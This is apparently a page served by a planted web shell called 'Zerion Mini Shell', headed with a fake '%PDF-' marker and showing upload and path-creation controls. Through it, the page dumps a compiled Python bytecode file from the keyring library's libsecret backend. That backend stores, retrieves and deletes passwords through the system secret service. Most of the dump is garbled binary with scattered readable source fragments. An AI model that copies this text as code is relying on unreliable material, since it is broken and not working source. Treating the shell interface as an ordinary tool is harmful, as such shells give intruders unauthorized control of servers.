%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/keyring/backends/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/keyring/backends/__pycache__/libsecret.cpython-312.pyc

�

�en���ddlZddlmZddlmZddlmZddlmZddlm	Z	m
Z
mZdZ	ddl
Z
dd	lmZdd
lmZe
j"dd�dd
lmZdZej,e�ZGd�dej2e�Zy#eeef$rY�3wxYw)�N�)�backend)�
properties)�KeyringBackend)�SimpleCredential)�PasswordDeleteError�PasswordSetError�
KeyringLockedF)�Gio)�GLib�Secret�1)r
Tc��eZdZdZdZed��Zejd��Z	ejdefd��Zd�Z
d�Zd	�Zd
�Zy)�Keyringzlibsecret KeyringzPython keyring libraryc	�(�tjjdtjj|jtjjtjjtjj���S)Nzorg.freedesktop.Secret.Generic��application)r
�Schema�new�SchemaFlags�NONE�_query�SchemaAttributeType�STRING��selfs �</usr/lib/python3/dist-packages/keyring/backends/libsecret.py�schemazKeyring.schema"si���}�}� � �,����#�#��K�K��*�*�1�1��*�*�1�1�"�6�6�=�=�
�
�
�	
�c�"�tjS)N)r
�COLLECTION_DEFAULTrs r�
collectionzKeyring.collection.s���(�(�(r�returnc���tstd��	tjj	tj
jd�y#tj$r}td�|�d}~wwxYw)Nzlibsecret requiredz*Can't open a session to the secret serviceg333333@)	�	available�RuntimeErrorr
�Service�get_sync�ServiceFlags�OPEN_SESSIONr�Error)�cls�errors  r�priorityzKeyring.priority2sc����3�4�4�	X��N�N�#�#�F�$7�$7�$D�$D�d�K����z�z�	X��K�L�RW�W��	X�s�8A�A0�A+�+A0c��|j|||j��}	tj|j|tj
jd�}|D]"}	|j�j!�cSy#tj$rQ}tjd�}|j|tjj�rtd�|��d}~wwxYw#tj$rQ}tjd�}|j|tjj"�rtd�|��d}~wwxYw)z,Get password of the username for the servicerN�g-io-error-quark�Failed to unlock the item!�secret-error)r�appidr
�password_search_syncr�SearchFlags�UNLOCKrr+�quark_try_string�matchesr�IOErrorEnum�FAILEDr
�retrieve_secret_sync�get_text�	IS_LOCKED)r�service�username�
attributes�itemsr-�quark�items        r�get_passwordzKeyring.get_password?s���[�[��(��
�
�[�K�
�	��/�/����Z��);�);�)B�)B�D��E��	�D�
��0�0�2�;�;�=�=�	���z�z�	��)�)�*<�=�E��}�}�U�C�O�O�$:�$:�;�#�$@�A�u�L���		���:�:�
��-�-�n�=���=�=�����(>�(>�?�'�(D�E�5�P���	
�s1�:B� C)�C&�AC!�!C&�)E
�<AE�E
c�@�|j|||j��}dj||�}	tj|j
||j||d�}|st!d��y#tj$r�}tjd�}|j|tjj�rtd�|�tjd�}|j|tjj�rtd�|��d}~wwxYw)z,Set password for the username of the servicerzPassword for '{}' on '{}'Nr2z Failed to unlock the collection!r0zFailed to store password!)rr3�formatr
�password_store_syncrr"rr+r7r8r=r
rr9r:r	)	rr>r?�passwordr@�label�storedr-rBs	         r�set_passwordzKeyring.set_passwordTs����[�[��(��
�
�[�K�
�+�2�2�8�W�E��	��/�/����Z����%��4��F��"�#>�?�?����z�z�	��)�)�.�9�E��}�}�U�F�L�L�$:�$:�;�#�$F�G�U�R��)�)�*<�=�E��}�}�U�C�O�O�$:�$:�;�#�$F�G�U�R���	�s�.A.�.D�BD�Dc���|j|||j��}	tj|j|tj
jd�}|D]5}	tj|j|j!�d�}|cSt%d��#tj$rQ}tjd�}|j|tjj�rtd�|��d}~wwxYw#tj$rQ}tjd�}|j|tjj"�rtd�|��d}~wwxYw)z/Delete the stored password (only the first one)rNr0r1r2zNo such password!)rr3r
r4rr5r6rr+r7r8rr9r:r
�password_clear_sync�get_attributesr=r)	rr>r?r@rAr-rBrC�removeds	         r�delete_passwordzKeyring.delete_passwordgs5���[�[��(��
�
�[�K�
�	��/�/����Z��);�);�)B�)B�D��E��
	�D�
� �4�4��K�K��!4�!4�!6�����N�
	�"�"5�6�6��!�z�z�	��)�)�*<�=�E��}�}�U�C�O�O�$:�$:�;�#�$@�A�u�L���		���:�:�
��-�-�n�=���=�=�����(>�(>�?�'�(D�E�5�P���	
�s1�:B� /D�D�2AC>�>D�E*�AE%�%E*c���|j||�}	tj|j|tjj
d�}|D]K}|j�jd�}	t!||j#�j%��cSy#tj$rQ}t
jd�}|j|tjj�rtd�|��d}~wwxYw#tj$rQ}t
jd�}|j|tjj&�rtd�|��d}~wwxYw)aWGet the first username and password for a service.
        Return a Credential instance

        The username can be omitted, but if there is one, it will use get_password
        and return a SimpleCredential containing  the username and password
        Otherwise, it will return the first username and password combo that it finds.
        Nr0r1r?r2)rr
r4rr5r6rr+r7r8rr9r:r
rN�getrr;r<r=)rr>r?�queryrAr-rBrCs        r�get_credentialzKeyring.get_credential�s3�����G�X�.��	��/�/����U�F�$6�$6�$=�$=�t��E��
	�D��*�*�,�0�0��<�H�
�'��d�7�7�9�B�B�D���
	���z�z�	��)�)�*<�=�E��}�}�U�C�O�O�$:�$:�;�#�$@�A�u�L���		���:�:�
��-�-�n�=���=�=�����(>�(>�?�'�(D�E�5�P���	
�s1�:B�3'D�D�2AC>�>D�E*�AE%�%E*N)�__name__�
__module__�__qualname__�__doc__r3�propertyrr�NonDataPropertyr"�
classproperty�floatr.rDrKrPrT�rrrrsl���$�E�
�	
��	
����)� �)����
��
��
��*@�&7�2rr)�logging�r�_compatrr�credentialsr�errorsrr	r
r%�gi�
gi.repositoryrr�require_versionr
�AttributeError�ImportError�
ValueError�	getLoggerrU�log�SchemeSelectablerr]rr�<module>rls����� �$�*���
�	�
	�
�!�"��B���x��%�$��I��g����!���g�&�&����
	��Z�0�	��	�s�+A>�>B	�B	

Zerion Mini Shell 1.0